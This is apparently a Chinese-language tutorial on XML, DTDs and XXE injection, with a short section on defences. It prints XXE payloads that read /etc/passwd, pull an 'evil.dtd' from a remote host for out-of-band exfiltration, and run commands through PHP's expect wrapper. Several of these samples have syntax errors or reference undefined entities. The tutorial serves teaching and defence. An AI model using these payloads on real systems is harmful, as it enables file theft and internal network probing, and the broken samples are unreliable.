0x00 目录
0x01 XML基础
定义:一种标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
<!--XML声明--> <?xml version="1.0"?> <!--文档类型定义--> <!DOCTYPE note [ <!--定义此文档是 note 类型的文档--> <!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素--> <!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型--> <!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型--> <!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型--> <!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型--> ]]]> <!--文档元素--> <note> <to>Dave</to> <from>Tom</from> <head>Reminder</head> <body>You are a good man</body> </note>
DTD
内部声明DTD:
<!DOCTYPE 根元素 [元素声明]>
外部声明DTD:
<!DOCTYPE 根元素 SYSTEM "文件名">
DTD中的一些重要的关键字:
- DOCTYPE(DTD的声明)
- ENTITY(实体的声明)
- SYSTEM、PUBLIC(外部资源申请)
实体类别介绍
实体主要分为两类
1 一般实体:内置实体/字符实体/通用实体
2 参数实体
举例:
内部实体
<!ENTITY 实体名称 "实体内容">
外部实体
<!ENTITY 实体名称 SYSTEM "URI">
参数实体
<!ENTITY % 实体名称 "实体内容"> 或者 <!ENTITY % 实体名称 "URI">
外部实体
默认协议
PHP扩展协议
举例:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE a [<!ENTITY passwd "file:///etc/passwd">]> <foo> <value>&passwd;</value> </foo>
0x02 XXE漏洞
XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
举例
- 恶意引入外部实体(1)
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///etc/passwd">]> <a> <value>&passwd;</value> </a>
- 恶意引入外部实体(2)
**XML内容** <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd"> %d; ]> <aaa>&b;</aaa> **DTD文件内容**
<!ENTITY b SYSTEM "file:///etc/passwd">
- 恶意引入外部实体(3)
**xml文件内容** <?xml verstion="1.0" encoding="utf-8"?> <!DOCTYPE a[ <!ENTITY f SYSTEM "http://www.m03.com/evil.dtd"> ]> <a>&b;</a> **DTD文件内容**
<!ENTITY b SYSTEM "file:///etc/passwd">
XXE的危害
1.读取任意文件 - 有回显
**xml.php** <?php $xml = <<<EOF <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///etc/passwd"> ]> <x>&f;</x> EOF; $data = simplexml_load_string($xml); print_r($data); ?>
- 无回显,可以将文件内容发送到远程服务器,然后读取。
**xx.xml**<?xml verstion="1.0" encoding="utf-8"?> <!DOCTYPE a[ <!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd"> %f; ]> <a>&b;</a> $data = simplexml_load_string($xml); print_r($data); **evil.dtd**<ENTITY b SYSTEM "file:///etc/passwd">
2.命令执行
php环境下,xml命令执行要求php装有expect扩展。而该扩展默认没有安装。
<?php $xml = <<<EOF <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "except://ls"> ]> <x>&f;</x> EOF; $data = simplexml_load_string($xml); print_r($data); ?>
3.内网探测/SSRF
由于xml实体注入攻击可以利用http://协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。
0x03 XXE漏洞修复与防御
xmllib2.9.0以后,默认不解析外部实体的。
1.使用开发语言提供的禁用外部实体的方法
PHP: libxml_disable_entity_loader(true); JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); Python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2.过滤用户提交的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。
0x04 总结
XXE的高阶玩法很多,但究其原理都一样。“千里之堤,始于足下;百丈之台,始于垒土。”
XXE漏洞学习从入门到放弃:https://www.jianshu.com/p/77f2181587a4
XXE萌新进阶全攻略:https://www.freebuf.com/vuls/194112.html
XXE进阶——OOB攻击:https://www.jianshu.com/p/be4d7d5f799c
DTD/XXE 攻击笔记分享:https://www.freebuf.com/articles/web/97833.html
google“XXE进阶/全攻略/oob(out of band)”
原文地址:https://www.cnblogs.com/p0pl4r/p/10335752.html